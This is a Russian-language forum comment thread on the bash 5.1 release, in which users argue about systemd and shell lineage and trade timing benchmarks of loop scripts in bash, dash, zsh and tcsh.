Правильно будет сказать, что есть (ba)sh и есть ksh. Обычный sh почти во всех линуксах. На бсд-лайк системах (особенно на солярке) в системе только ksh. Я лично сам пишу под mksh, который как бы из мира ksh, но очень мнго взял из sh. При этом по скорости опережает здесь рекламируемый dash.
| |
|
3.264, Аноним (230), 14:42, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Ты бредишь. Классический sh — это Борн шелл. И ksh к нему намного ближе, чем нынешний bash. Но все они из одной оперы, дугой лагерь — это csh и его вариации, столь любимые в FreeBSD.
| |
|
|
1.57, YetAnotherOnanym (ok), 14:05, 08/12/2020 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
Понимаю, что выгляжу ретроградом, но весь этот улучшайзинг чреват обильными матюками, если в хозяйстве имеются машины с разными версиями скорлупы.
| |
|
|
3.102, псевдонимус (?), 15:56, 08/12/2020 [^] [^^] [^^^] [ответить]
| +1 +/– |
> Системда работает крайне стабильно.
> Постгрес упал, системктл показывает, что процесс активен и не может его рестартовать.
> И такая радость в LTS дистрах.
Зато нет "портянок на баш" :-)))
Это встроенная в системду развивающая игрушка. Чтобы обмин не заскучал.
Что поделка пишет в свой недожурнал?
| |
|
4.109, вынь любит вас во все девайсы (?), 16:11, 08/12/2020 [^] [^^] [^^^] [ответить]
| +2 +/– |
Логи не изучал. Не так давно Был инцидент у заказчика, упал портал. Моя задача была быстро поднять все взад, ребут решил вопрос.
Неоднократно встречал сию проблему, когда дибилойд-системд находится в полной обсракции, если процесс именно падает.
| |
|
5.144, псевдонимус (?), 18:04, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
> Логи не изучал. Не так давно Был инцидент у заказчика, упал портал.
> Моя задача была быстро поднять все взад, ребут решил вопрос.
> Неоднократно встречал сию проблему, когда дибилойд-системд находится в полной обсракции,
> если процесс именно падает.
Оно досихпор подение "сервАйса"©™ не может нормально обработать? ;-)
Что за дистрибутив?
| |
|
|
|
2.100, Аноним (-), 15:54, 08/12/2020 [^] [^^] [^^^] [ответить]
| +7 +/– |
>Страшный сон системдунов зарелизился.
Просто напросто последователи systemD не осилили GNU bash. И за этого неосиляторства и идут все байки про "лапшу". Эту простую истину я понял совсем недавно и мне стало жалко того времени что я потратил на споры с "системдунами".
| |
|
3.127, Аноним (39), 17:13, 08/12/2020 [^] [^^] [^^^] [ответить]
| +3 +/– |
> последователи systemD не осилили GNU bash
В точку! И вместо пары строк на баше им приходится писать юниты+либы+бинари, которые прибиты шурупами к системде и в них нифига не исправишь, естественно.
| |
|
4.166, VINRARUS (ok), 20:04, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
>> последователи systemD не осилили GNU bash
> В точку! И вместо пары строк на баше им приходится писать юниты+либы+бинари,
> которые прибиты шурупами к системде и в них нифига не исправишь,
> естественно.
моя шел твоя баш труба шатал,,,
| |
|
|
|
|
2.124, Ordu (ok), 16:57, 08/12/2020 [^] [^^] [^^^] [ответить]
| +1 +/– |
> А как же дженерики ???
Сначала надо типизацию завезти, и только потом дженерики. "Всё есть строка" не очень способствует дженерикам.
| |
|
|
2.141, Аноним (-), 17:46, 08/12/2020 [^] [^^] [^^^] [ответить]
| +1 +/– |
>То что написано на баше 30 лет назад, заработает и сейчас.
fixed
С этого предложения надо бы и начинать эту новость.
| |
|
1.153, VINRARUS (ok), 19:12, 08/12/2020 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
Bash такой же как и system:D мегакусок говнокода.
А 5.1 ещо более тормозное и размазаное удобрение чем 5.0:
time bash-5.0 -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done'
real 0m6,178s
user 0m6,173s
sys 0m0,005s
time bash-5.1 -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done'
real 0m7,184s
user 0m7,184s
sys 0m0,001s
time dash-0.5.10.2 -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done'
real 0m2,186s
user 0m2,185s
sys 0m0,001s
Скомпилировано и сконфигурировано на OpenSUSE.
ПС: кто не понял — в этом примере dash на 329% быстрее исполняет скрипт чем bash-5.1
| |
|
2.180, Аноним (180), 20:37, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Баш вообще в циклах хреново работает, ты бы ещё файл построчно читать попробовал. Вот попробуй, охренеешь.
Поэтому циклы лучше на линуксовые утилиты положить, а не на баш. Башу только управление софтом, переменными, функциями можно и это реально бомба.
| |
|
3.184, VINRARUS (ok), 20:45, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
> Баш вообще в циклах хреново работает, ты бы ещё файл построчно читать
> попробовал. Вот попробуй, охренеешь.
> Поэтому циклы лучше на линуксовые утилиты положить, а не на баш. Башу
> только управление софтом, переменными, функциями можно и это реально бомба.
Мне вот нада скриптом управлять скоростью вентилятора следя за термодатчиками, используя простую арифметику делать плавное увеличение\уменьшение оборотов.
Я написал скрипт весом 4 кб на sh, 4 года работает без проблем.
На какие альтернативы среди утилит положыть эту логику?
| |
|
4.186, Аноним (180), 20:58, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Да для таких простых задач баш пригоден. Я имею ввиду какие-то жёсткие задачи, типо анализа текстового файла в десятки гигабайт, или запуска каких-то команд где очень быстро будет передаваться управление обратно в цикл, и весь скрипт из-за этого будет тормозить, упираться в баш.
| |
|
|
2.203, Аноним (180), 22:28, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Ну и эта команда на которой ты тестриуешь баш это не есть показать. У тебя простой цикл с инкриментом. Ну о чём это говорит вообще? Это не ЯП, это скриптовый, управлеченский код, нагруженные циклические проги прямо на него накидывать это бред, неэффективно.
Баш в этой ситуации медленнее питона, но просто потому что ты баш применил так. А вот питон по другому не применить уже, вот это разница.
| |
|
3.211, VINRARUS (ok), 22:48, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
> Это не ЯП, это скриптовый, управлеченский код, нагруженные циклические
> проги прямо на него накидывать это бред, неэффективно.
Shell это язык програмирования!
Просто большынство юзеров юникса больше однострочников не пишут.
ПС: питон не эфективен, юзай асм.
| |
|
2.207, Аноним (16), 22:34, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Зачем тебе баш если ты его не используешь?..
~ $ time bash -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done'
real 0m6.578s
user 0m6.569s
sys 0m0.000s
~ $ time bash -c 'D=1; while [[ "$D" -lt 1000000 ]]; do ((D+=1)); done'
real 0m3.558s
user 0m3.551s
sys 0m0.001s
~ $ time bash -c 'declare -i D=1; while ((D<1000000)); do ((D+=1)); done'
real 0m2.510s
user 0m2.505s
sys 0m0.001s
то же самое с регулярками и всем остальным
| |
|
3.215, Аноним (16), 23:23, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
А вот, кстати, zsh (но он по фичам несовместим с башем, да):
~ $ time zsh -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done'
real 0m4.796s
user 0m4.470s
sys 0m0.321s
~ $ time zsh -c 'D=1; while [[ "$D" -lt 1000000 ]]; do ((D+=1)); done'
real 0m1.131s
user 0m1.129s
sys 0m0.001s
~ $ time zsh -c 'D=1; while ((D<1000000)); do ((D+=1)); done'
real 0m0.868s
user 0m0.867s
sys 0m0.000s
~ $ time zsh -c 'declare -i D=1; while ((D<1000000)); do ((D+=1)); done'
real 0m0.681s
user 0m0.680s
sys 0m0.000s
| |
3.217, VINRARUS (ok), 23:41, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Тогда уже не "((D+=1))", а "((D++))" наверно.
Даже такими титаническими усилиями оно значительно медленнее даша. А также у меня огромные вопросы к смыслу таких усилий и того какое это имеет отношение к shell.
ПС: я тоже читерить умею
time dash -c 'D=1; while true; do case "$D" in 1000000) exit;; esac; D="$((D+1))"; done'
real 0m0,964s
user 0m0,958s
sys 0m0,004s
:Р
| |
|
4.218, Аноним (16), 23:55, 08/12/2020 [^] [^^] [^^^] [ответить] | +/– | А какая разница Что там титанического В моём коде ничего титаническго, соверше... большой текст свёрнут, показать | |
|
5.222, VINRARUS (ok), 00:50, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
>> Тогда уже не "((D+=1))", а "((D++))" наверно.
> А какая разница?
Если б bash нормально был написан то наверно никакой бы небыло, но по факту быстрее.
>> Даже такими титаническими усилиями оно значительно медленнее даша. А также у меня
>> огромные вопросы к смыслу таких усилий и того какое это имеет
>> отношение к shell.
> Что там титанического? В моём коде ничего титаническго, совершенно 0 усилий. Никаких
> хаков. Я всегда только так и пишу.
Ну да, обьясни интерпритатуру сначала шо тот набор цыфр это номер, а не слово, потом используй какие то левые С подобные конструкцыи, шобы интерпритатор исполнял роль тупого транслятора, а в итоге получи пшык в кепке.
> Итого, даш даже с грязнохаками слился "башизмам".
Слился в чом, в сложении? xD
И да, я з zsh не знаком, по этому ничего про него сказать не могу, в отличии от забаганого баша.
| |
|
6.227, Аноним (16), 01:19, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Какие баги? Нет никаких багов. А по синтаксису, это обычный bash синтаксис и встроенный оператор объявления массивов, переменных, объявления переменных глобальными и всего остального, ему уж лет сколько. От объявления переменной числом баш не выигрывает на таком "тесте", это зш оптимизирует на 20% или сколько там, но вообще для счётчиков довольно эффективно. Я просто объявляю все числа числами, очень удобно.
Вон там соседний ответ, расскажи пожалуйста, как удалить последний элемент массива в dash и как складывать числа в dash, я хочу сравнить производительность на сложении чисел (числа простые строки в массиве, без всего).
| |
|
7.273, VINRARUS (ok), 19:29, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
>Я просто объявляю все числа числами, очень удобно.
А я не обьявляю числа числами так как в этом нет необходимости — ещо удобнее.
>Вон там соседний ответ, расскажи пожалуйста, как удалить последний элемент массива в dash и как складывать числа в dash, я хочу сравнить производительность на сложении чисел (числа простые строки в массиве, без всего).
raye="2 4 8 16 32 64 128 256 512 1024"
raye="${raye% *}"
echo "$raye"
На какую купку складывать?
| |
|
8.279, Аноним (16), 22:42, 09/12/2020 [^] [^^] [^^^] [ответить] | +/– | А ничего особенного, типичная задача сложить миллион другой чисел, что такого К... большой текст свёрнут, показать | |
|
|
|
5.224, Аноним (16), 01:11, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
tcsh похоже победитель:
$ time tcsh ~/bin/cshvariant.sh
real 9m20.743s
user 6m18.812s
sys 3m31.950s
Бтв как удалить последний элемент из массива в zsh?
Вот это чёт не прокатывает unset 'raye[${#raye[@]}-1]' (в баше работает), а то в баше я просто напишу unset raye[-1] и всё норм.
Короче только вот так, raye=("${(@)raye[1,$#raye-1]}")
В итоге, на более реальной задаче баш складывает несколько чисел (300000 чисел) за
real 0m34.796s
user 0m2.884s
sys 0m3.044s
и зш за
real 0m35.218s
user 0m2.913s
sys 0m3.113s
вот и всё. :(
и что-то сразу на реальном кейсе всё посыпалось, я надеялся будет хоть чуточку побыстрее.
| |
|
|
|
2.208, Аноним (180), 22:37, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
~$ time bash -c 'declare -i D=1; while ((D<1000000)); do ((D+=1)); done'
real 0m4.937s
user 0m4.925s
sys 0m0.004s
На процессоре 2006 года релиза.
| |
2.225, Аноним (263), 01:11, 09/12/2020 [^] [^^] [^^^] [ответить] | +/– | Забавный тест, вот другой, где все несколько иначе time dash -c for a in ... большой текст свёрнут, показать | |
|
3.233, Аноним (16), 01:45, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Отличные "тесты", ага. Десятиминутный победитель из того теста справился тут за секунду.
$ time tcsh ~/bin/cshseq.sh
real 0m1.250s
user 0m0.765s
sys 0m0.469s
$ time dash -c 'for a in 'seq 100000'; do ( :; ); done'
real 0m14.488s
user 0m8.667s
sys 0m6.319s
$ time bash -c 'for a in 'seq 100000'; do ( :; ); done'
real 0m36.407s
user 0m19.588s
sys 0m17.738s
$ time zsh -c 'for a in 'seq 100000'; do ( :; ); done'
real 0m45.363s
user 0m22.131s
sys 0m25.281s
| |
|
4.237, Аноним (263), 02:07, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Хз, что у тебя в скрипет, а у меня:
~> cat t.tcsh
foreach a ('seq 100000')
(:;)
end
~> time tcsh t.tcsh
0m26.02s real 0m16.09s user 0m15.83s system
| |
|
5.238, Аноним (16), 02:13, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
#/bin/tcsh
foreach i ( 'seq 100000' )
:;
end
можно с echo "$i" -- ровно то же самое.
| |
|
6.240, Аноним (16), 02:17, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
В шебанге опечатка, но я скармливал интерпретатору поэтому не важно.
| |
6.261, Аноним (261), 14:26, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
В dash/bash круглые скобки форкают sub-shell. Я так понимаю, скрипт tcsh этого не делает, так что тест некорректен.
| |
|
7.266, Аноним (263), 15:00, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
> В dash/bash круглые скобки форкают sub-shell. Я так понимаю, скрипт tcsh этого
> не делает, так что тест некорректен.
https://linux.die.net/man/1/tcsh
Builtin and non-builtin command execution
Builtin commands are executed within the shell. If any component of a pipeline except the last is a builtin command, the pipeline is executed in a subshell.
Parenthesized commands are always executed in a subshell.
(cd; pwd); pwd
thus prints the home directory, leaving you where you were (printing this after the home directory), while
cd; pwd
leaves you in the home directory. Parenthesized commands are most often used to prevent cd from affecting the current shell.
| |
|
|
5.241, Аноним (16), 02:20, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
В общем да на (:;) выдало это
real 0m46.337s
user 0m24.146s
sys 0m24.104s
| |
|
|
|
|
1.198, Аноним (261), 22:03, 08/12/2020 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
> Вызов malloc на 64-разрядных системах теперь выравнивает возвращаемую память по 16 байтовой границе.
Что-то я не понял, а при чём тут bash?
| |
|
2.256, Аноним (256), 12:33, 09/12/2020 [^] [^^] [^^^] [ответить]
| –2 +/– |
> Что-то я не понял, а при чём тут bash?
Чтоб понимать - нужно изучать и практиковать программинг. Ну там _align всякие c11 уже как минимум применять, а не диким криком неандертальца через все джунгли кричать о том что неее-е-е-поняяял
| |
|
3.260, Аноним (261), 14:21, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Ваш комментарий очень важен и всё сразу объяснил. Спасибо Вам, о светоч мирового программинга.
Для тех, кому на самом деле интересно, в составе bash есть встроенная реализация malloc, и в данном случае речь о ней.
| |
|
4.267, Аноним (-), 15:13, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
>Ваш комментарий очень важен и всё сразу объяснил. Спасибо Вам, о светоч мирового программинга.
А хамить обязательно надо?
| |
|
5.271, Аноним (261), 17:08, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
> А хамить обязательно надо?
Это вопрос не ко мне, а к тому анониму, который написал комментарий #256.
| |
|
6.275, VINRARUS (ok), 19:51, 09/12/2020 [^] [^^] [^^^] [ответить]
| –1 +/– |
>а к тому анониму, который написал комментарий #256
Эй, Аноним, зачем разговариваеш сам з собой?
| |
|
|
|
|
|
1.257, Аноним (257), 13:03, 09/12/2020 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
> Переработан движок генерации псевдослучайных чисел. Добавлена переменная SRANDOM, содержащая случайное 32-разрядное число из системного генератора псевдослучайных чисел (вместо LCRNG использованы вызовы getrandom/getentropy, /dev/urandom или arc4random, в зависимости от ОС). Выдаваемая последовательность теперь не является линейной и не повторяется при идентичном следовании запросов.
То то я думаю, что такое, каждый раз под андроидом запускаю VLC плеер, музыку послушать из папки (директории). И VLC каждый раз начинает с одной и той же песни и примерно 3-5 песен в последовательности с начала одни и теже.
get_random() { echo "42" } # it is my lovely random number ;)
Вот какой рандом в андроиде ;)
Может быть с этой версии bash-а все будет гораздо лучше ;)
| |
|
2.274, VINRARUS (ok), 19:41, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Ещо один признак кривости bash и его ненужности. Это ж нада было так упороться шобы повторяющиеся числа даже не попытаться сдвинуть по времени запуска хотя б...
ПС: dd if=/dev/urandom bs=256 count=1 | tr -dc 0-9 | head -c 6
| |
|
|